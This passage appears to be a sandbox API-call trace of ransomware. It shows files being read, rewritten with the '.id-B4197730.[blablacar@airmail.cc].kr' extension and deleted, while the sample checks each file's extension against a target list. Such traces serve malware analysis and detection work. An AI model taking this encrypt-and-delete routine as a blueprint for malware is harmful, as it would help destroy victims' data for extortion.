(hObject=0x2c8) returned 1 [0078.980] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0078.981] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0078.981] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.981] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.981] lstrlenW (lpString=".doc") returned 4 [0078.981] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0078.981] lstrlenW (lpString=".docx") returned 5 [0078.981] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0078.981] lstrlenW (lpString=".pdf") returned 4 [0078.981] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0078.981] lstrlenW (lpString=".xls") returned 4 [0078.981] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0078.981] lstrlenW (lpString=".xlsx") returned 5 [0078.981] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0078.981] lstrlenW (lpString=".ppt") returned 4 [0078.981] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0078.981] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString=".zip") returned 4 [0078.982] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0078.982] lstrlenW (lpString=".rar") returned 4 [0078.982] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0078.982] lstrlenW (lpString=".bz2") returned 4 [0078.982] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0078.982] lstrlenW (lpString=".7z") returned 3 [0078.982] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0078.982] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString=".dbf") returned 4 [0078.982] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0078.982] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString=".1cd") returned 4 [0078.982] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0078.982] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString=".jpg") returned 4 [0078.982] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0078.982] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.982] lstrlenW (lpString=".doc") returned 4 [0078.982] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0078.982] lstrlenW (lpString=".docx") returned 5 [0078.982] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0078.982] lstrlenW (lpString=".pdf") returned 4 [0078.982] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0078.982] lstrlenW (lpString=".xls") returned 4 [0078.983] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0078.983] lstrlenW (lpString=".xlsx") returned 5 [0078.983] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0078.983] lstrlenW (lpString=".ppt") returned 4 [0078.983] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0078.983] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.983] lstrlenW (lpString=".zip") returned 4 [0078.983] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0078.983] lstrlenW (lpString=".rar") returned 4 [0078.983] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0078.983] lstrlenW (lpString=".bz2") returned 4 [0078.983] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0078.983] lstrlenW (lpString=".7z") returned 3 [0078.983] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0078.983] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.983] lstrlenW (lpString=".dbf") returned 4 [0078.983] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0078.983] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.983] lstrlenW (lpString=".1cd") returned 4 [0078.983] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0078.983] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0078.983] lstrlenW (lpString=".jpg") returned 4 [0078.983] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0078.983] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0078.984] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0078.984] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.515] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=156) returned 1 [0079.515] CloseHandle (hObject=0x2b8) returned 1 [0079.515] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0079.515] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.516] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.516] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.516] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.516] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.516] GetLastError () returned 0x0 [0079.516] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x9c, lpOverlapped=0x0) returned 1 [0079.517] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xa0, lpOverlapped=0x0) returned 1 [0079.518] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0079.518] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x100, lpOverlapped=0x0) returned 1 [0079.518] SetEndOfFile (hFile=0x2c4) returned 1 [0079.519] CloseHandle (hObject=0x2c4) returned 1 [0079.519] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.519] SetEndOfFile (hFile=0x2b8) returned 1 [0079.520] CloseHandle (hObject=0x2b8) returned 1 [0079.521] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0079.521] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0079.521] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.521] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.521] lstrlenW (lpString=".doc") returned 4 [0079.521] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.521] lstrlenW (lpString=".docx") returned 5 [0079.521] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0079.521] lstrlenW (lpString=".pdf") returned 4 [0079.521] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.521] lstrlenW (lpString=".xls") returned 4 [0079.521] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.521] lstrlenW (lpString=".xlsx") returned 5 [0079.521] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0079.521] lstrlenW (lpString=".ppt") returned 4 [0079.521] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.521] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString=".zip") returned 4 [0079.522] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.522] lstrlenW (lpString=".rar") returned 4 [0079.522] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.522] lstrlenW (lpString=".bz2") returned 4 [0079.522] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.522] lstrlenW (lpString=".7z") returned 3 [0079.522] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.522] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString=".dbf") returned 4 [0079.522] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.522] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString=".1cd") returned 4 [0079.522] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.522] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString=".jpg") returned 4 [0079.522] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.522] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.522] lstrlenW (lpString=".doc") returned 4 [0079.522] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0079.522] lstrlenW (lpString=".docx") returned 5 [0079.522] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0079.522] lstrlenW (lpString=".pdf") returned 4 [0079.522] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0079.522] lstrlenW (lpString=".xls") returned 4 [0079.522] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0079.522] lstrlenW (lpString=".xlsx") returned 5 [0079.522] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0079.522] lstrlenW (lpString=".ppt") returned 4 [0079.523] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0079.523] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.523] lstrlenW (lpString=".zip") returned 4 [0079.523] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0079.523] lstrlenW (lpString=".rar") returned 4 [0079.523] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0079.523] lstrlenW (lpString=".bz2") returned 4 [0079.523] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0079.523] lstrlenW (lpString=".7z") returned 3 [0079.523] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0079.523] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.523] lstrlenW (lpString=".dbf") returned 4 [0079.523] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.523] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.523] lstrlenW (lpString=".1cd") returned 4 [0079.523] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.523] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0079.523] lstrlenW (lpString=".jpg") returned 4 [0079.523] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.523] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0079.523] lstrlenW (lpString="LocalizedData.xml") returned 17 [0079.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.524] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=74214) returned 1 [0079.524] CloseHandle (hObject=0x2b8) returned 1 [0079.524] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0079.524] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.524] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.524] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.524] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.525] GetLastError () returned 0x0 [0079.525] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x121e6, lpOverlapped=0x0) returned 1 [0079.528] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x121f0, lpOverlapped=0x0) returned 1 [0079.531] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0079.531] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0079.531] SetEndOfFile (hFile=0x2c4) returned 1 [0079.531] CloseHandle (hObject=0x2c4) returned 1 [0079.533] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.533] SetEndOfFile (hFile=0x2b8) returned 1 [0079.535] CloseHandle (hObject=0x2b8) returned 1 [0079.535] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0079.535] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0079.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.535] lstrlenW (lpString=".doc") returned 4 [0079.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.535] lstrlenW (lpString=".docx") returned 5 [0079.535] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0079.535] lstrlenW (lpString=".pdf") returned 4 [0079.535] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.535] lstrlenW (lpString=".xls") returned 4 [0079.535] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.535] lstrlenW (lpString=".xlsx") returned 5 [0079.535] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0079.535] lstrlenW (lpString=".ppt") returned 4 [0079.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString=".zip") returned 4 [0079.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.536] lstrlenW (lpString=".rar") returned 4 [0079.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString=".bz2") returned 4 [0079.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString=".7z") returned 3 [0079.536] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString=".dbf") returned 4 [0079.536] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString=".1cd") returned 4 [0079.536] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString=".jpg") returned 4 [0079.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.536] lstrlenW (lpString=".doc") returned 4 [0079.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString=".docx") returned 5 [0079.536] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0079.536] lstrlenW (lpString=".pdf") returned 4 [0079.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString=".xls") returned 4 [0079.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.536] lstrlenW (lpString=".xlsx") returned 5 [0079.536] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0079.536] lstrlenW (lpString=".ppt") returned 4 [0079.537] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.537] lstrlenW (lpString=".zip") returned 4 [0079.537] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.537] lstrlenW (lpString=".rar") returned 4 [0079.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.537] lstrlenW (lpString=".bz2") returned 4 [0079.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.537] lstrlenW (lpString=".7z") returned 3 [0079.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.537] lstrlenW (lpString=".dbf") returned 4 [0079.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.537] lstrlenW (lpString=".1cd") returned 4 [0079.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0079.537] lstrlenW (lpString=".jpg") returned 4 [0079.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.537] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0079.537] lstrlenW (lpString="eula.rtf") returned 8 [0079.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.538] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6309) returned 1 [0079.538] CloseHandle (hObject=0x2b8) returned 1 [0079.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0079.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.538] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.538] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.540] GetLastError () returned 0x0 [0079.540] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x18a5, lpOverlapped=0x0) returned 1 [0079.542] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x18b0, lpOverlapped=0x0) returned 1 [0079.543] ReadFile (in: hFile=0x2b8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0079.543] WriteFile (in: hFile=0x2c4, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0079.543] SetEndOfFile (hFile=0x2c4) returned 1 [0079.543] CloseHandle (hObject=0x2c4) returned 1 [0079.544] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0079.544] SetEndOfFile (hFile=0x2b8) returned 1 [0079.545] CloseHandle (hObject=0x2b8) returned 1 [0079.545] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0079.545] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.546] lstrlenW (lpString=".doc") returned 4 [0079.546] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString=".docx") returned 5 [0079.546] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0079.546] lstrlenW (lpString=".pdf") returned 4 [0079.546] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString=".xls") returned 4 [0079.546] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0079.546] lstrlenW (lpString=".xlsx") returned 5 [0079.546] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0079.546] lstrlenW (lpString=".ppt") returned 4 [0079.546] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.546] lstrlenW (lpString=".zip") returned 4 [0079.546] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0079.546] lstrlenW (lpString=".rar") returned 4 [0079.546] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString=".bz2") returned 4 [0079.546] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString=".7z") returned 3 [0079.546] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.546] lstrlenW (lpString=".dbf") returned 4 [0079.546] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.546] lstrlenW (lpString=".1cd") returned 4 [0079.546] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0079.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString=".jpg") returned 4 [0079.547] lstrcmpiW (lpString1=".jpg", 